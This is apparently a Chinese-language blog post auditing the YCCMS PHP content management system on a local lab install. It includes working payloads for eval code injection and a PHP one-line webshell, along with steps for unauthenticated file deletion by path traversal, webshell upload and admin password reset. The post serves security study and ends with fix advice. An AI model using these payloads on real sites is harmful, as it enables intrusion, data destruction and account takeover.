yccms代码审计(php)

yccms代码审计(php)

搭建环境

  • 更改config.inc.php对应的数据库名,用户名及密码即可
  • 运行yccms.sql文件,在数据库中导入sql数据
  • 访问http://域名/admin,用户名及密码都为admin,登录后台

配置xdebug

参考文章:

详细步骤:

  • phpstorm左上角file(菜单)->setting(设置)->php->sever

    新建一个服务器,名称任意,端口与网站搭建端口一致

    图片

  • phpstorm左上角file(菜单)->setting(设置)->php->Debug(调试)

    设置端口号为9100,防止端口进程冲突

    图片

    调试下的DBGp按照如图设置,端口与刚刚设置的调试端口相对应

    图片

    打开phpstudy,查看网站使用的php版本

    在软件管理选项中找到对应的php版本,点击设置

    打开xdebug调试组件,端口监听与刚刚设置的调试端口设为一致

    图片

  • phpstorm左上角file(菜单)->setting(设置)->php

    将版本设置为与刚刚在phpstudy中查看的此网站使用的php版本

    图片

  • 右上角添加配置中选择php网页添加配置

    图片

审计

目录结构

图片

可以看出此源码是MVC结构,最核心的控制代码在controller与model文件夹内

翻看目录发现此源码使用了smarty模板,随后可以查看是否存在ssti模板注入

路由关系

  • ?a=admin&m=update

    key值为a传入类名,key值为m传入方法名

漏洞复现(有入口,才可利用)

参考:记一次完整的PHP代码审计——yccms v3.4审计 - KRookieSec - 博客园 (cnblogs.com)

代码审计—YCCMS系统-先知社区 (aliyun.com)

使用seay进行自动化审计,找到可能存在漏洞的地方,逐个测试

图片

代码执行

找到此方法是否有被实例化

发现run.inc.php实例化此方法,admin/index.php包含了此文件

public/class目录下的Factory.class.php文件,文件类名为Factory

1
2
3
4
5
static public function setModel() {
$_a = self::getA();
if (file_exists(ROOT_PATH.'/model/'.$_a.'Model.class.php')) eval('self::$_obj = new '.ucfirst($_a).'Model();');
return self::$_obj;
}

eval函数内变量可控

需要传入一个类名,并且满足(或绕过)file_exists()函数的检查

构造payload

1
?a=Factory();phpinfo();//../

分析:

  1. 调用Factory()类中方法
  2. 用;隔开以执行下一条语句
  3. /../跳至上一级绕过file_exist()函数检测

顺利注入

图片

尝试写入一句话木马

1
?a=Factory();@eval($_POST[v]);//../

看一些文章是可以顺利连接的,我这里没有成功

无需登录文件删除

controller/PicAction.class.php文件中控制删除功能的方法没有对文件名及文件路径的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function delall(){ // 定义一个公共方法 delall,用于删除图片
if(isset($_POST['send'])){ // 如果表单提交了(send 参数存在)
// 如果 pid 参数为空(即用户没有选择任何图片)
if(validate::isNullString($_POST['pid']))
// 弹出警告框提示“没有选择任何图片”,然后跳转回 pic 页面
tool::layer_alert('没有选择任何图片!','?a=pic',7);

$_fileDir = ROOT_PATH.'/uploads/'; // 图片文件所在的目录
foreach($_POST['pid'] as $_value){ // 遍历所有要删除的图片文件名
$_filePath = $_fileDir.$_value; // 构造完整的文件路径
if(!unlink($_filePath)){ // 尝试删除该文件,如果失败
// 弹出警告框提示“图片删除失败”,建议设置权限为 777
tool::layer_alert('图片删除失败,请设权限为777!','?a=pic',7);
} else {
// 删除成功后,立即重定向回 pic 页面
header('Location:?a=pic');
}
}
}
}

其他文件有文件路径检测,如:

1
$_dirPath=opendir(dirname(dirname(__FILE__)).'\\'.$_navname.'\\');

开始测试

寻找网站功能点:其他功能->图片管理

点击删除按钮后抓取数据包,得到数据包内容

图片

send值是url编码过的,解码后为删除选中图片

pid后url编码解码后为[0]

退出admin账户的登陆后,将网站根目录下CMS系统安装声明文件重命名为CMS(一会测试时无需再对中文url编码)

更改数据包pid[0]参数的值为/../CMS,发送数据包,发现成功删除文件

无需登录文章删除

controller/ArticleAction.class.php

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function delall(){
if(isset($_POST['send'])){
if(validate::isNullString($_POST['showid'])) tool::layer_alert('没有选择任何内容!','?a=article&m=index',7);
//$this->_model->id=implode(',',$_POST['showid']);
//echo $this->_model->id;
foreach ($_POST['showid'] as $_value){
$this->_model->id=$_value;
$_findOne=$this->_model->findOne();
$html=$_findOne[0]->html;
if($html==NULL){
$html='0.html';
}
//先删除静态文件
if(file_exists(ROOT_PATH.'/'.$html)){
if(!unlink(ROOT_PATH.'/'.$html)){
tool::layer_alert('静态文件删除失败,请设权限为777!','?a=article&m=index',5);
}
}
$this->_model->delete_article();
header('Location:'.tool::getPrevPage());
}
}

通过代码可以看到基本上是没有检测的,传入id即可删除对应的文章,但是由于变量是固定的,所以只能删除文章

不能删除其他文件

开始测试:

寻找功能点:内容管理->文章列表

点击删除抓取数据包

图片

看到是直接get传参,更改id的值就可以的

退出登录后更改id发送数据包,再次登录查看,发现顺利删除文章

无需登录文件上传01

public/class/FileUpload.class.php

查看源代码发现只对上传图片类型和文件大小做了判断,并且进行了重命名

在网站寻找功能点:系统设置->首页内容

在编辑器自带的文件上传功能点处可以上传文件

抓取数据包,更改文件名和文件内容,顺利上传

图片

用蚁剑成功连接

图片

经测试,退出登陆后直接发包也可以正常上传,可以正常连接

无需登录文件上传02

直接寻找功能点:系统设置->上传logo

找到对应控制代码

图片

上传后的文件会被重命名为logo,检验文件类型的函数极容易绕过

方法同01抓取数据包后更改文件内容与文件名

可以看到顺利上传

图片

用蚁剑测试依旧是能够连接成功

图片

退出登录后同样可以发送数据包并且用蚁剑顺利连接

任意密码修改(未鉴权)

controller/AdminAction.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//后台初始
public function index(){
if (isset($_SESSION['admin'])) {
$this->_tpl->assign('admin', $_SESSION['admin']);
$this->_tpl->display('admin/public/admin.tpl');
} else {
Tool::alertLocation(null, '?a=login');
}

}
//修改密码
public function update(){
if(isset($_POST['send'])){
if(validate::isNullString($_POST['username'])) Tool::t_back('用户名不能为空','?a=admin&m=update');
if(validate::isNullString($_POST['password'])) Tool::t_back('密码不能为空!','?a=admin&m=update');
if(!(validate::checkStrEquals($_POST['password'], $_POST['notpassword']))) Tool::t_back('两次密码不一致!','?a=admin&m=update');
$this->_model->username=$_POST['username'];
$this->_model->password=sha1($_POST['password']);
$_edit=$this->_model->editAdmin();
if($_edit){
tool::layer_alert('密码修改成功!','?a=admin&m=update',6);
}else{
tool::layer_alert('密码未修改!','?a=admin&m=update',6);
}
}

$this->_tpl->assign('admin', $_SESSION['admin']);
$this->_tpl->display('admin/public/update.tpl');
}

可以看到登录到后台页面是有鉴权的,但是执行update方法时就没有鉴权了

在网站找到功能点:其他功能->修改密码

抓取数据包,在数据包中做数据的修改

图片

网站退出登录后可以正常发送数据包

尝试新用户名和密码后发现可以正常登录

rce(Action.class.php)误报

路径:controller/Action.class.php

调用eval函数,可能存在rce漏洞

1
2
3
4
public function run() {
$_m = isset($_GET['m']) ? $_GET['m'] : 'index';
method_exists($this, $_m) ? eval('$this->'.$_m.'();') : $this->index();
}

查找利用点时发现每一个controller中的文件都继承了此类

构造payload(http://localhost/yccms/admin/?a=admin&m=phpinfo)发现并没有回显

使用动态调试后可以看到m的值初始时为phpinfo

图片

经过run.inc.php方法中代码Factory::setAction()->run();

1
2
// 使用工厂模式调用控制器并执行对应方法
Factory::setAction()->run();

m的值被替换为main

查看setAction方法,此方法中的可控变量是a

1
2
3
4
5
6
7
8
9
10
11
static public function setAction(){
$_a=self::getA();
if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) {
if (!isset($_SESSION['admin'])) {
header('Location:'.'?a=login');
}
}
if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
eval('self::$_obj = new '.ucfirst($_a).'Action();');
return self::$_obj;
}

此代码大致作用:

  1. 获取请求参数 a 来确定控制器;
  2. 若请求的是后台控制器,且用户未登录,则重定向到登录页面;
  3. 若控制器类文件不存在,则默认使用 LoginAction
  4. 创建控制器类的对象,并返回

所以无法调用传入的控制器内不存在的方法

存在eval函数的方法是run方法,像另一个成功执行的rce漏洞一样构造payload

1
http://localhost/yccms/admin/?a=action&m=run();phpinfo();//../#

仍然无法注入成功

可以看到在步入run.inc.php后,m的值变为main

文件包含(run.inc.php)误报

工具审计时发现了require关键字,可能存在文件包含漏洞

但是require函数内无可控变量,无法利用此函数

总结

  1. 自动化工具一般是直接搜索关键字或敏感函数,误报很多

  2. 找漏洞关键要看漏洞点和利用点,有入口能利用才算漏洞

  3. 寻找敏感函数和可控变量,查看变量有无过滤,过滤是否可绕过

  4. cms漏洞:

    • 鉴权处理不到位,大部分操作都没有鉴权,无需登录就可操作

    ​ 修复建议:写出单独的鉴权文件,在每个类中引用

    • 过滤不严格,对文件名及文件路径几乎无过滤

yccms代码审计(php)
http://huang-d1.github.io/2025/07/08/yccms代码审计(php)/
作者
huangdi
发布于
2025年7月8日
许可协议